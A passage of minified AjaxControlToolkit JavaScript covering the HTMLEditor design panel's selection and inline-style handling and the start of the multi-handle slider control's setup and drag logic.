m=i._doc.createElement(p);m.id=N;c[0].parentNode.insertBefore(o,c[0]);if(c[c.length-1].nextSibling!=u)c[c.length-1].parentNode.insertBefore(m,c[c.length-1].nextSibling);else c[c.length-1].parentNode.appendChild(m);AjaxControlToolkit.HTMLEditor.unStyle(o);AjaxControlToolkit.HTMLEditor.unStyle(m);for(var n=[],g=0;g<c.length;g++){for(var l=c[g],a=l.parentNode,z=0;z<n.length;z++){var x=n[z];if(x.parent==a){x.textNodes.push(l);break}}z==n.length&&n.push({parent:a,textNodes:[l]})}for(var g=0;g<n.length;g++){var x=n[g];if(x.textNodes.length>1){var e=x.textNodes,w=i._doc.createElement(p),t=i._doc.createElement(p);e[0].parentNode.insertBefore(w,e[0]);if(e[e.length-1].nextSibling!=u)e[e.length-1].parentNode.insertBefore(t,e[e.length-1].nextSibling);else e[e.length-1].parentNode.appendChild(t);AjaxControlToolkit.HTMLEditor._moveTagsUp(w,t);w.parentNode.removeChild(w);t.parentNode.removeChild(t)}}for(var g=0;g<c.length;g++){var l=c[g],a=l.parentNode,D=false;while(a&&a.tagName&&a.childNodes.length==1&&AjaxControlToolkit.HTMLEditor.isStyleTag(a.tagName)){var f=a.tagName.toUpperCase();if((f=="I"||f=="EM")&&h.name=="font-style"||(f=="B"||f=="STRONG")&&h.name=="font-weight"||(f=="S"||f=="STRIKE")&&h.name==G||f=="U"&&h.name==G||(f=="SUB"||f=="SUP")&&h.name=="vertical-align"){var v=a;a=a.parentNode;while(v.firstChild)a.insertBefore(v.firstChild,v);a.removeChild(v);D=q;continue}else if(a.style&&a.style[b]&&a.style[b].length>0){var k=a.style[b];if(b.toLowerCase().indexOf("color")>=0||b=="fontFamily"||b=="fontSize")a.style[b]=d;else if(L)try{a.style[b]=a.style[b]+" "+d;if(k==a.style[b])a.style[b]=d}catch(O){a.style[b]=d}else if(!A){var F=k.replace(d,"");if(b=="fontWeight"&&k.toString()=="700")F="";if(F==k)try{a.style[b]=a.style[b]+" "+d;if(k==a.style[b])a.style[b]=d}catch(O){a.style[b]=d}else{a.style[b]=F.replace(/,/,"");B=q}A=q}else if(B)a.style[b]=k.replace(d,"").replace(/,/,"");else try{a.style[b]=a.style[b]+" "+d;if(k==a.style[b])a.style[b]=d}catch(O){a.style[b]=d}D=q}a=a.parentNode}if(!D&&!B){var y;y=i._doc.createElement(p);y.style[b]=d;var K=l.parentNode;K.insertBefore(y,l);y.appendChild(l);A=q}}var j=AjaxControlToolkit.HTMLEditor._commonTotalParent(o,m),I=j.parent.childNodes.item(j.indexFirst).previousSibling,s=j.parent.childNodes.item(j.indexLast).nextSibling;o.parentNode.removeChild(o);m.parentNode.removeChild(m);var H=0,r=j.parent.childNodes.length;if(I!=u)H=AjaxControlToolkit.HTMLEditor.__getIndex(I);if(s!=u){r=AjaxControlToolkit.HTMLEditor.__getIndex(s)+1;if(r<j.parent.childNodes.length)if(s.nodeType==3)r++;else if(s.nodeType==1){var E=s.tagName.toUpperCase();if(E!="TR"&&E!="TD"&&E!="LI")r++}}AjaxControlToolkit.HTMLEditor.spanJoiner(j.parent,i._doc,H,r);var C=i;J&&C._selectRng(c);setTimeout(function(){!AjaxControlToolkit.HTMLEditor.isIE&&C.focusEditor();C._editPanel.updateToolbar()},0)},_tryExpand:function(p){var u="'></span><span id='",h=false,n="undefined",a=this,v=[],i,j,m=a._getSelection(),b=a._createRange(m),l,k,x=AjaxControlToolkit.HTMLEditor.smartClassName+"_right_add",w=AjaxControlToolkit.HTMLEditor.smartClassName+"_left_add",q=AjaxControlToolkit.HTMLEditor.smartClassName+"_middle_add";if(AjaxControlToolkit.HTMLEditor.isIE&&typeof p==n){b.execCommand("bold");a.__saveBM__=b.getBookmark();b.execCommand("bold")}if(AjaxControlToolkit.HTMLEditor.isIE){var d=null,r="<span id="+q+"></span>",o=b.duplicate();try{b.pasteHTML(r)}catch(y){}d=a._doc.getElementById(q);if(d==null)return [];if(typeof p!=n)a.__saveBM__=d;if(d.nextSibling!=null&&!AjaxControlToolkit.HTMLEditor.isInlineElement(d.nextSibling)){d.parentNode.removeChild(d);return []}b.expand("word");b.select();if(b.text.length==0){d.parentNode.removeChild(d);o.select();return []}var t=new RegExp(r,"ig");if(!t.test(b.htmlText.replace(/[\n\r]/g,""))){d.parentNode.removeChild(d);o.select();return []}t=new RegExp(r+"(</span>|&nbsp;|[\\s])*$","ig");if(t.test(b.htmlText.replace(/[\n\r]/g,""))){d.parentNode.removeChild(d);o.select();return []}while(b.text.length>0&&b.text.substr(b.text.length-1,1)==" "){b.moveEnd("character",-1);b.select();if(b.text.length==0){d.parentNode.removeChild(d);o.select();return []}}typeof p==n&&d.parentNode.removeChild(d);return a._getTextNodeCollection()}function s(b){var a=/[\d\w]/;if(a.test(b))return h;a=/[\u0080-\u024F]/;if(a.test(b))return h;a=/[\u0370-\u2000]/;if(a.test(b))return h;return true}if(!a.insertHTML("<span id='"+w+u+q+u+x+"'></span>"))return [];var c=a._doc.getElementById(w),e=a._doc.getElementById(x),g=a._doc.getElementById(q);AjaxControlToolkit.HTMLEditor.positionInParagraph(c,c.previousSibling,true,c.parentNode,s);try{a._trySelect(c,e)}catch(y){}l=a._getSelection();k=a._createRange(l);i=!AjaxControlToolkit.HTMLEditor.isIE?AjaxControlToolkit.HTMLEditor.Trim(a.getSelectedHTML()):"";j=AjaxControlToolkit.HTMLEditor.isIE&&k.text.length>0||!AjaxControlToolkit.HTMLEditor.isIE&&i.length>0;if(!j||a._getTextNodeCollection().length==0){var f=a._doc.createTextNode("");c.parentNode.insertBefore(f,c);c.parentNode.removeChild(c);e.parentNode.removeChild(e);g.parentNode.removeChild(g);var b=a._doc.createRange();b.setStart(f,0);b.setEnd(f,0);b.setStart(f,0);b.setEnd(f,0);a._removeAllRanges(m);a._selectRange(m,b);return []}e.parentNode.insertBefore(c,g);AjaxControlToolkit.HTMLEditor.positionInParagraph(e,e.nextSibling,h,e.parentNode,s);a._trySelect(c,e);l=a._getSelection();k=a._createRange(l);i=!AjaxControlToolkit.HTMLEditor.isIE?AjaxControlToolkit.HTMLEditor.Trim(a.getSelectedHTML()):"";j=AjaxControlToolkit.HTMLEditor.isIE&&k.text.length>0||!AjaxControlToolkit.HTMLEditor.isIE&&i.length>0;if(!j||a._getTextNodeCollection().length==0){var f=a._doc.createTextNode("");c.parentNode.insertBefore(f,c);c.parentNode.removeChild(c);e.parentNode.removeChild(e);g.parentNode.removeChild(g);var b=a._doc.createRange();b.setStart(f,0);b.setEnd(f,0);b.setStart(f,0);b.setEnd(f,0);a._removeAllRanges(m);a._selectRange(m,b);return []}AjaxControlToolkit.HTMLEditor.positionInParagraph(c,c.previousSibling,true,c.parentNode,s);a._trySelect(c,e);l=a._getSelection();k=a._createRange(l);i=!AjaxControlToolkit.HTMLEditor.isIE?AjaxControlToolkit.HTMLEditor.Trim(a.getSelectedHTML()):"";j=AjaxControlToolkit.HTMLEditor.isIE&&k.text.length>0||!AjaxControlToolkit.HTMLEditor.isIE&&i.length>0;if(AjaxControlToolkit.HTMLEditor.isIE)if(typeof p!=n)a.__saveBM__=g;else g.parentNode.removeChild(g);else a.__saveBM__=[g,0];if(j)v=a._getTextNodeCollection();c.parentNode.removeChild(c);e.parentNode.removeChild(e);return v},_setStyleForTyping:function(c){var a=this,i=c.name.replace(/\-(\w)/g,function(b,a){return a.toUpperCase()}),h=c.value,j=c.repl;if(a._StyleForTyping==null)a._StyleForTyping=[];for(var e=[],d=true,b=0;b<a._StyleForTyping.length;b++){var g=a._StyleForTyping[b].name.replace(/\-(\w)/g,function(b,a){return a.toUpperCase()}),f=a._StyleForTyping[b].value;if(!(g==i&&(f==h||j)))e.push(a._StyleForTyping[b]);else d=false}a._StyleForTyping=e;d&&a._StyleForTyping.push(c)},_trySelect:function(c,d){var b=null,a=this,e=a._getSelection(),i=b,j=b;if(AjaxControlToolkit.HTMLEditor.isIE){e.empty();e=a._getSelection();var f=a._createRange(e),g=a._createRange(e);try{c!=b&&f.moveToElementText(c);d!=b&&g.moveToElementText(d);if(c!=b&&d!=b){f.setEndPoint("EndToEnd",g);f.select()}else if(c!=b)f.select();else d!=b&&g.select()}catch(k){}}else try{i=a._doc.createTextNode("");j=a._doc.createTextNode("");c.parentNode.insertBefore(i,c);d.parentNode.insertBefore(j,d);var h=a._doc.createRange();h.setStart(i,0);h.setEnd(j,0);a._removeAllRanges(e);a._selectRange(e,h)}catch(k){}},getSelectedHTML:function(){var c=this._getSelection(),b=this._createRange(c),a=null;if(AjaxControlToolkit.HTMLEditor.isIE)a=b.htmlText;else if(AjaxControlToolkit.HTMLEditor.isSafari&&(c.type=="Caret"||c.type=="None"))a="";else{if(AjaxControlToolkit.HTMLEditor.isSafari)if(b.cloneContents()==null)return "";a=AjaxControlToolkit.HTMLEditor.getHTML(b.cloneContents(),false)}return a},_queryCommandState:function(h){var r="vertical-align",k="line-through",j="strikethrough",q="text-decoration",f="underline",m="font-weight",i="bold",g=this,n=g._rangeStartEnd();if(n==null)return false;try{var a={name:"none",value:"none"};switch(h.toLowerCase()){case i:a={name:m,value:i};break;case "italic":a={name:"font-style",value:"italic"};break;case f:a={name:q,value:f};break;case j:a={name:q,value:k};break;case "superscript":a={name:r,value:"super"};break;case "subscript":a={name:r,value:"sub"}}var b=n.start,c=n.end,d=AjaxControlToolkit.HTMLEditor.getStyle(b,a.name).toString().toLowerCase(),e=AjaxControlToolkit.HTMLEditor.getStyle(c,a.name).toString().toLowerCase();if(a.name==m&&d=="700")d=i;if(a.name==m&&e=="700")e=i;if(/MSIE (5|6)/.test(navigator.userAgent)&&h.toLowerCase()==j&&(d==f||e==f)){while(b&&AjaxControlToolkit.HTMLEditor.isStyleTag(b.tagName)){if(b.style.textDecoration.indexOf(k)>=0){d=b.style.textDecoration;break}b=b.parentNode}while(c&&AjaxControlToolkit.HTMLEditor.isStyleTag(c.tagName)){if(c.style.textDecoration.indexOf(k)>=0){e=c.style.textDecoration;break}c=c.parentNode}}if(AjaxControlToolkit.HTMLEditor.isSafari&&(h.toLowerCase()==j||h.toLowerCase()==f)){var l=h.toLowerCase();if(l==j)l=k;while(b&&AjaxControlToolkit.HTMLEditor.isStyleTag(b.tagName)){if(b.style.textDecoration.indexOf(l)>=0){d=b.style.textDecoration;break}b=b.parentNode}while(c&&AjaxControlToolkit.HTMLEditor.isStyleTag(c.tagName)){if(c.style.textDecoration.indexOf(l)>=0){e=c.style.textDecoration;break}c=c.parentNode}}var o=d.indexOf(a.value)>=0&&e.indexOf(a.value)>=0;if(g._StyleForTyping!=null&&g._StyleForTyping.length>0)for(var p=0;p<g._StyleForTyping.length;p++){var s=g._StyleForTyping[p];if(s.name==a.name&&s.value==a.value){o=!o;break}}return o}catch(t){return false}},_textAlignState:function(b){var a=this._rangeStartEnd();if(a==null)return false;try{var c=this._textAlignStateSingle(a.start),d=this._textAlignStateSingle(a.end);return c==b&&d==b}catch(e){return false}},_textAlignStateSingle:function(a){while(a&&AjaxControlToolkit.HTMLEditor.isStyleTag(a.tagName))a=a.parentNode;if(a!=null){var b=a.tagName.toUpperCase();if(b=="P"||b=="DIV")return a.style.textAlign.toLowerCase()}return null},_rangeStartEnd:function(){var i="<span id='",b=null,e=this;if(e.isControl())return b;try{var o=e._getSelection(),a=e._createRange(o),c=b,d=b;if(!AjaxControlToolkit.HTMLEditor.isIE){function f(c,d){var e=b;while(e==b){if(c.nodeType==3)if(d&&a.startContainer!=a.endContainer&&a.startOffset==c.length&&c.nextSibling)e=f(c.nextSibling,d);else if(!d&&a.startContainer!=a.endContainer&&a.endOffset==0&&c.previousSibling)e=f(c.previousSibling,d);else e=c;else if((d?c.firstChild:c.lastChild)==b)e=b;else e=f(d?c.firstChild:c.lastChild,d);if(e==b){c=d?c.nextSibling:c.previousSibling;if(c==b)return b}else return e}}var n=e._getParent(a);if(n.nodeType!=3&&a.startContainer==a.endContainer&&a.startOffset==a.endOffset&&a.startContainer.childNodes.item(a.startOffset).tagName&&AjaxControlToolkit.HTMLEditor.isStyleTag(a.startContainer.childNodes.item(a.startOffset).tagName))return {start:a.startContainer.childNodes.item(a.startOffset),end:a.startContainer.childNodes.item(a.startOffset)};c=f(a.startContainer,true);if(c!=b&&c.parentNode!=b)c=c.parentNode;if(c==b)c=a.startContainer;d=f(a.endContainer,false);if(d!=b&&d.parentNode!=b)d=d.parentNode;if(d==b)d=a.endContainer}else if(a.text.length==0)c=d=e._getParent(a);else{var m=AjaxControlToolkit.HTMLEditor.smartClassName+"_right_marker",l=AjaxControlToolkit.HTMLEditor.smartClassName+"_left_marker",k=a.duplicate(),j=a.duplicate();k.setEndPoint("EndToStart",a);j.setEndPoint("StartToEnd",a);j.pasteHTML(i+m+"'/>");k.pasteHTML(i+l+"'/>");var g=e._doc.getElementById(l),h=e._doc.getElementById(m);c=g.parentNode;d=h.parentNode;g.parentNode.removeChild(g);h.parentNode.removeChild(h)}return {start:c,end:d}}catch(p){return b}},rtlState:function(){if(this._doc.body.style.direction&&this._doc.body.style.direction=="rtl")return true;return false},openWait:function(){this._editPanel.openWait()},closeWait:function(){this._editPanel.closeWait()}};AjaxControlToolkit.HTMLEditor.DesignPanel.ScriptRecover=function(){var a=this;a.scriptsArray=[];a.scriptsArray_index=-1;a.regReplScript1=function(b,a){this.scriptsArray.push(a);return ""};a.regReplFromScript=function(b,a){return a.replace(/&gt;/g,">").replace(/&lt;/g,"<").replace(/&amp;/g,"&")};a.regReplFromScript1=function(e,c,f,d){var a=this;a.scriptsArray_index++;var b;if(!AjaxControlToolkit.HTMLEditor.isIE)b=a.scriptsArray[a.scriptsArray_index].replace(/&amp;/g,"&").replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&quot;/g,'"');else b=a.scriptsArray[a.scriptsArray_index];return c+b+d}};AjaxControlToolkit.HTMLEditor.DesignPanel.registerClass("AjaxControlToolkit.HTMLEditor.DesignPanel",AjaxControlToolkit.HTMLEditor.ModePanel);�{Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit._MultiHandleSliderDragDropInternal=function(){AjaxControlToolkit._MultiHandleSliderDragDropInternal.initializeBase(this);this._instance=null};AjaxControlToolkit._MultiHandleSliderDragDropInternal.prototype={_getInstance:function(){var a=this;a._instance=new AjaxControlToolkit.GenericDragDropManager;a._instance.initialize();a._instance.add_dragStart(Function.createDelegate(a,a._raiseDragStart));a._instance.add_dragStop(Function.createDelegate(a,a._raiseDragStop));return a._instance}};AjaxControlToolkit._MultiHandleSliderDragDropInternal.registerClass("AjaxControlToolkit._MultiHandleSliderDragDropInternal",AjaxControlToolkit._DragDropManager);AjaxControlToolkit.DragDrop=new AjaxControlToolkit._MultiHandleSliderDragDropInternal;AjaxControlToolkit.MultiHandleInnerRailStyle=function(){};AjaxControlToolkit.MultiHandleInnerRailStyle.prototype={AsIs:0,SlidingDoors:1};AjaxControlToolkit.MultiHandleInnerRailStyle.registerEnum("AjaxControlToolkit.MultiHandleInnerRailStyle",false);AjaxControlToolkit.SliderOrientation=function(){};AjaxControlToolkit.SliderOrientation.prototype={Horizontal:0,Vertical:1};AjaxControlToolkit.SliderOrientation.registerEnum("AjaxControlToolkit.SliderOrientation",false);AjaxControlToolkit.MultiHandleSliderBehavior=function(e){var d=true,c=false,b=null,a=this;AjaxControlToolkit.MultiHandleSliderBehavior.initializeBase(a,[e]);a._minimum=b;a._maximum=b;a._orientation=AjaxControlToolkit.SliderOrientation.Horizontal;a._cssClass=b;a._multiHandleSliderTargets=b;a._length=150;a._steps=0;a._enableHandleAnimation=c;a._showInnerRail=c;a._showHoverStyle=c;a._showDragStyle=c;a._raiseChangeOnlyOnMouseUp=d;a._innerRailStyle=AjaxControlToolkit.MultiHandleInnerRailStyle.AsIs;a._enableInnerRangeDrag=c;a._enableRailClick=d;a._isReadOnly=c;a._increment=1;a._enableKeyboard=d;a._enableMouseWheel=d;a._tooltipText="";a._boundControlID=b;a._handleCssClass=b;a._handleImageUrl=b;a._handleImage=b;a._railCssClass=b;a._decimals=0;a._textBox=b;a._wrapper=b;a._outer=b;a._inner=b;a._handleData=b;a._handleAnimationDuration=.02;a._handles=0;a._innerDragFlag=c;a._isVertical=c;a._selectStartHandler=b;a._mouseUpHandler=b;a._mouseOutHandler=b;a._keyDownHandler=b;a._mouseWheelHandler=b;a._mouseOverHandler=b;a._animationPending=c;a._selectStartPending=c;a._initialized=c;a._handleUnderDrag=b;a._innerDrag=c;a._blockInnerClick=c};AjaxControlToolkit.MultiHandleSliderBehavior.prototype={initialize:function(){var a=this;AjaxControlToolkit.MultiHandleSliderBehavior.callBaseMethod(a,"initialize");if(a._boundControlID&&!a._multiHandleSliderTargets)a._multiHandleSliderTargets=[{ControlID:a._boundControlID,HandleCssClass:a._handleCssClass,HandleImageUrl:a._handleImageUrl,Decimals:a._decimals}];a._handles=a._multiHandleSliderTargets?a._multiHandleSliderTargets.length:0;if(a._handles===0){var b=document.createElement("INPUT");b.id="boundless";b.style.display="none";b.value=a.get_minimum();document.forms[0].appendChild(b);a._multiHandleSliderTargets=[{ControlID:b.id,HandleCssClass:a._handleCssClass,HandleImageUrl:a._handleImageUrl,Decimals:a._decimals}];a._boundControlID=b.id;a._handles=1}a._isVertical=a._orientation===AjaxControlToolkit.SliderOrientation.Vertical;a._resolveNamingContainer();a._createWrapper();a._createOuterRail();a._createHandles();a._createInnerRail();a._setRailStyles();if(a._length)if(!a._cssClass&&a._innerRailStyle!==AjaxControlToolkit.MultiHandleInnerRailStyle.SlidingDoors)if(a._isVertical)a._outer.style.height=a._length+"px";else a._outer.style.width=a._length+"px";a._build();a._enforceElementPositioning();a._initializeSlider()},dispose:function(){var a=this;a._disposeHandlers();a._disposeMultiHandleSliderTargets();a._enableHandleAnimation&&a._handleAnimation&&a._handleAnimation.dispose();AjaxControlToolkit.MultiHandleSliderBehavior.callBaseMethod(a,"dispose")},get_SliderInitialized:function(){return this._initialized},getValue:function(b){var a=$get(this._multiHandleSliderTargets[b].ControlID);return a.value},setValue:function(c,d){var a=this,b=$get(a._multiHandleSliderTargets[c].ControlID);if(b){a.beginUpdate();a._setMultiHandleSliderTargetValue(b,a._getNearestStepValue(d));a.endUpdate()}},get_values:function(){for(var b=[this._handles],a=0;a<this._handles;a++){var c=this._multiHandleSliderTargets[a];b[a]=c.value}return b.join(",")},_build:function(){var a=this;a._textBox=a.get_element();a._textBox.parentNode.insertBefore(a._wrapper,a._textBox);a._wrapper.appendChild(a._outer);a._inner&&a._showInnerRail&&a._outer.appendChild(a._inner);a._textBox.style.display="none"},_calculateInnerRailOffset:function(c){var a=this,d=a._isVertical?a._inner.style.top:a._inner.style.left,b=a._isVertical?c.offsetY:c.offsetX;b+=parseInt(d,10);return b},_calculateClick:function(a){var b=this,h=b._getOuterBounds(),c=b._handleData[0],g=b._getBoundsInternal(c);c=b._calculateClosestHandle(a);var d=g.width/2,e=h.width-d;a=a<d?d:a>e?e:a;var f=$get(c.multiHandleSliderTargetID);b._calculateMultiHandleSliderTargetValue(f,a,true);$common.tryFireEvent(b.get_element(),"change")},_calculateClosestHandle:function(h){var a=this;for(var c=a._handleData[0],d=[a._handles],k=a._getOuterBounds(),b=0;b<a._handles;b++){var e=a._handleData[b],n=a._getBoundsInternal(e),o=a._isVertical?e.offsetTop:n.x-k.x;d[b]=Math.abs(o-h)}var i=d[0];for(b=0;b<a._handles;b++){var l=d[b];if(l<i){e=a._handleData[b];i=l;c=e}}if(a._innerDrag){var j=Array.indexOf(a._handleData,c),g=Sys.UI.DomElement.getLocation(c),m=a._isVertical?g.y:g.x-k.x;if(m>=h+d[j]){var f=a._handleData[j-1];if(f)c=f}}return c},_calculateMultiHandleSliderTargetValue:function(f,w,D){var k=true,a=this,c,j,e=a._minimum,d=a._maximum;if(a._handleUnderDrag&&!f){h=a._handleUnderDrag;f=$get(a._handleUnderDrag.multiHandleSliderTargetID);if(a._innerDrag){var y=Array.indexOf(a._handleData,h);c=a._handleData[y+1];if(!c)c=a._handleData[y-1];j=$get(c.multiHandleSliderTargetID)}}var h=f.Handle,b=f.value;if(b&&!D){if(typeof b!=="number")try{b=parseFloat(b)}catch(I){b=Number.NaN}if(isNaN(b))b=a._minimum;val=Math.max(Math.min(b,d),e)}else{var l=a._getBoundsInternal(h),o=a._getOuterBounds(),p=w?w-l.width/2:l.x-o.x,F=o.width-l.width,E=p/F;val=Math.max(Math.min(b,d),e);val=p===0?e:p===o.width-l.width?d:e+E*(d-e)}if(a._steps>0)val=a._getNearestStepValue(val);val=Math.max(Math.min(val,d),e);for(var t=[],v=[],n=0,q=0,m,z=k,i=0;i<a._handles;i++){var H=a._multiHandleSliderTargets[i];if(!H.ControlID.match(f.id))if(z){t[n]=a._multiHandleSliderTargets[i];n++}else{v[q]=a._multiHandleSliderTargets[i];q++}else z=false}if(n>0){var B=parseFloat($get(t[n-1].ControlID).value);val=Math.max(val,B);m=val===B}if(q>0){var A=parseFloat($get(v[0].ControlID).value);val=Math.min(val,A);m=val===A}if(c){var G=val-parseFloat(b),u=parseFloat(j.value),g=u+G,x=Array.indexOf(a._handleData,c)+1;if(x<a._multiHandleSliderTargets.length)var r=a._multiHandleSliderTargets[x].ControlID;if(r)var s=$get(r);if(s)var C=s.value;if(g>(C||d)){g=u;val=b;m=k}}if(!m&&(Math.max(val,d)===d&&Math.min(val,e)===e)){a.beginUpdate();val=Math.max(Math.min(val,d),e);a._setMultiHandleSliderTargetValue(f,val);c&&a._setMultiHandleSliderTargetValue(j,g);a.endUpdate()}else{a.beginUpdate();if(a._handles===1)a._setMultiHandleSliderTargetValue(f,val);else{f.value=val;h.Value=val;a._setHandlePosition(h,k)}if(c){j.value=g;c.Value=g;a._setHandlePosition(c,k)}a.endUpdate()}return val},_cancelDrag:function(){if(AjaxControlToolkit.MultiHandleSliderBehavior.DropPending===this){AjaxControlToolkit.MultiHandleSliderBehavior.DropPending=null;this._selectStartPending&&$removeHandler(document,"selectstart",this._selectStartHandler)}},_createHandles:function(){var j="handle_horizontal",i="handle_vertical",a=this;for(var b=0;b<a._handles;b++){var p=a.get_id()+"_handle_"+b,g=a._isVertical,d="",e="",f="";if(a._handles===1&&a._handleImageUrl)var m="<img id='"+a.get_id()+"_handleImage' src='"+a._handleImageUrl+"' alt='' />";var o="<a id='"+p+"' ",s=m?m:"",q="><div>"+s+"</div></a>";a._outer.innerHTML+=o+q}a._handleData=[a._handles];for(b=0;b<a._handles;b++){var r=a._cssClass?a._cssClass:"ajax__multi_slider_default",c=a._multiHandleSliderTargets[b].HandleCssClass;if(c||a._cssClass){d=c?c+" ":a._cssClass+" ";e=d;f=d;var l=c,k=c;d=!c?d+a._isVertical?i:j:d+c;e=!k?e+a._isVertical?"handle_vertical_hover":"handle_horizontal_hover":e+k;f=!l?f+a._isVertical?"handle_vertical_down":"handle_horizontal_down":f+l}a._handleCallbacks={mouseover:Function.createCallback(a._onShowHover,{vertical:g,custom:e}),mouseout:Function.createCallback(a._onHideHover,{vertical:g,custom:d}),mousedown:Function.createCallback(a._onShowDrag,{vertical:g,custom:f}),mouseup:Function.createCallback(a._onHideDrag,{vertical:g,custom:d})};a._handleData[b]=a._outer.childNodes[b];a._handleData[b].style.overflow="hidden";$addHandlers(a._handleData[b],a._handleCallbacks);c=a._multiHandleSliderTargets[b].HandleCssClass;if(c){Sys.UI.DomElement.addCssClass(a._handleData[b],r);Sys.UI.DomElement.addCssClass(a._handleData[b],c)}else a._handleData[b].className=a._isVertical?i:j;if(a._multiHandleSliderTargets){var n=a._multiHandleSliderTargets[b].ControlID;a._handleData[b].multiHandleSliderTargetID=n}a._handleData[b].style.left="0px";a._handleData[b].style.top="0px";if(a._steps<1){if(a._enableHandleAnimation){var h=new AjaxControlToolkit.Animation.LengthAnimation(a._handleData[b],a._handleAnimationDuration,100,"style");h.add_ended(Function.createDelegate(a,a._onAnimationEnded));h.add_step(Function.createDelegate(a,a._onAnimationStep));a._handleData[b].Animation=h}}else a._enableHandleAnimation=false}},_createInnerRail:function(){var a=this;if(a._handles>1&&a._showInnerRail){a._inner=document.createElement("DIV");a._inner.id=a.get_id()+"_inner";a._inner.style.outline="none";a._inner.tabIndex=-1}},_createOuterRail:function(){var a=this;a._outer=document.createElement("DIV");a._outer.id=a.get_id()+"_outer";a._outer.style.outline="none";a._outer.tabIndex=-1},_createWrapper:function(){this._wrapper=document.createElement("DIV");this._wrapper.style.position="relative";this._wrapper.style.outline="none"},_disposeHandlers:function(){var b=null,a=this;if(!a._isReadOnly){$removeHandler(document,"mouseup",a._mouseUpHandler);$removeHandler(document,"mouseout",a._mouseOutHandler);if(a._outer){if(a._outer.addEventListener)a._outer.removeEventListener("DOMMouseScroll",a._mouseWheelHandler,false);else a._outer.detachEvent("onmousewheel",a._mouseWheelHandler);$common.removeHandlers(a._outer,a._outerDelegates)}for(var c=0;c<a._handles;c++){a._handleDelegates&&$common.removeHandlers(a._handleData[c],a._handleDelegates);a._handleCallbacks&&$clearHandlers(a._handleData[c])}a._handleDelegates=b;a._handleCallbacks=b;a._inner&&a._showInnerRail&&a._innerDelegates&&$common.removeHandlers(a._inner,a._innerDelegates);a._selectStartHandler=b;a._mouseUpHandler=b;a._mouseOutHandler=b;a._mouseWheelHandler=b;a._mouseOverHandler=b;a._keyDownHandler=b}},_disposeMultiHandleSliderTargets:function(){if(this._multiHandleSliderTargets)for(var b=0;b<this._handles;b++){var a=this._multiHandleSliderTargets[b],c=a&&a.nodeName==="INPUT";if(c){$removeHandler(a,"change",a.ChangeHandler);$removeHandler(a,"keypress",a.KeyPressHandler);a.ChangeHandler=null;a.KeyPressHandler=null}}},_ensureBinding:function(a){if(a){var b=a.value;if(b>=this._minimum||b<=this._maximum){var c=a&&a.nodeName==="INPUT";if(c)a.value=b;else if(a)a.innerHTML=b}}},_enforceElementPositioning:function(){var b=this,a={position:b.get_element().style.position,top:b.get_element().style.top,right:b.get_element().style.right,bottom:b.get_element().style.bottom,left:b.get_element().style.left};if(a.position!=="")b._wrapper.style.position=a.position;if(a.top!=="")b._wrapper.style.top=a.top;if(a.right!=="")b._wrapper.style.right=a.right;if(a.bottom!=="")b._wrapper.style.bottom=a.bottom;if(a.left!=="")b._wrapper.style.left=a.left},_getNearestStepValue:function(b){var a=this;if(a._steps===0)return b;var c=a._maximum-a._minimum;if(c===0)return b;if(a._steps-1!==0)var d=c/(a._steps-1);else return b;return Math.round(b/d)*d},_getStepValues:function(){var a=this,c=[a._steps],e=a._maximum-a._minimum,d=e/(a._steps-1);c[0]=a._minimum;for(var b=1;b<a._steps;b++)c[b]=a._minimum+d*b;return c},_handleSlide:function(b){var a=this,e=b?0:a._handles-1,f=b?1:0,g=b?a._handles:a._handles-1,c=a._handleData[e].multiHandleSliderTargetID;if(a._slideMultiHandleSliderTarget(c,b))for(var d=f;d<g;d++){c=a._handleData[d].multiHandleSliderTargetID;a._slideMultiHandleSliderTarget(c,b)}a._initializeInnerRail()},_initializeDragHandle:function(b){var a=b.DragHandle=document.createElement("DIV");a.style.position="absolute";a.style.width="1px";a.style.height="1px";a.style.overflow="hidden";a.style.background="none";document.forms[0].appendChild(b.DragHandle)},_initializeHandlers:function(){var a=this;if(!a._isReadOnly){a._selectStartHandler=Function.createDelegate(a,a._onSelectStart);a._mouseUpHandler=Function.createDelegate(a,a._onMouseUp);a._mouseOutHandler=Function.createDelegate(a,a._onMouseOut);a._mouseWheelHandler=Function.createDelegate(a,a._onMouseWheel);a._mouseOverHandler=Function.createDelegate(a,a._onMouseOver);a._keyDownHandler=Function.createDelegate(a,a._onKeyDown);$addHandler(document,"mouseup",a._mouseUpHandler);$addHandler(document,"mouseout",a._mouseOutHandler);a._handleDelegates={mousedown:Function.createDelegate(a,a._onMouseDown),dragstart:Function.createDelegate(a,a._IEDragDropHandler),drag:Function.createDelegate(a,a._IEDragDropHandler),dragEnd:Function.createDelegate(a,a._IEDragDropHandler)};for(var b=0;b<a._handles;b++)$addHandlers(a._handleData[b],a._handleDelegates);if(a._outer){if(a._enableMouseWheel)if(a._outer.addEventListener)a._outer.addEventListener("DOMMouseScroll",a._mouseWheelHandler,false);else a._outer.attachEvent("onmousewheel",a._mouseWheelHandler);a._outerDelegates={click:Function.createDelegate(a,a._onOuterRailClick),mouseover:Function.createDelegate(a,a._mouseOverHandler),keydown:Function.createDelegate(a,a._keyDownHandler)};$addHandlers(a._outer,a._outerDelegates)}if(a._inner&&a._showInnerRail){a._innerDelegates={click:Function.createDelegate(a,a._onInnerRailClick),mousedown:Function.createDelegate(a,a._onMouseDownInner),mouseup:Function.createDelegate(a,a._onMouseUpInner),mouseout:Function.createDelegate(a,a._onMouseOutInner),mousemove:Function.createDelegate(a,a._onMouseMoveInner),dragStart:Function.createDelegate(a,a._IEDragDropHandler),drag:Function.createDelegate(a,a._IEDragDropHandler),dragEnd:Function.createDelegate(a,a._IEDragDropHandler)};$addHandlers(a._inner,a._innerDelegates)}}},_initializeHandles:function(){var a=this,e=a.get_ClientState();if(e)var d=e.split(",",a._handles);for(var c=0;c<a._handles;c++){var b=a._handleData[c],f=a._multiHandleSliderTargets[c].Decimals;if(d)b.Value=parseFloat(d[c]);a._initializeMultiHandleSliderTarget(b.multiHandleSliderTargetID,f,b);a._initializeHandleValue(b);a._setHandlePosition(b,true);a._initializeDragHandle(b)}},_initializeHandleValue:function(b){if(!b.Value){try{var a=$get(b.multiHandleSliderTargetID),d=a&&a.nodeName==="INPUT",c=parseFloat(d?a.value:a.innerHTML)}catch(e){c=Number.NaN}if(isNaN(c)){b.Value=this._minimum;if(d)a.value=b.Value;else a.innerHTML=b.Value}else b.Value=c}},_initializeInnerRail:function(){var c="px",a=this;if(a._inner&&a._showInnerRail){var 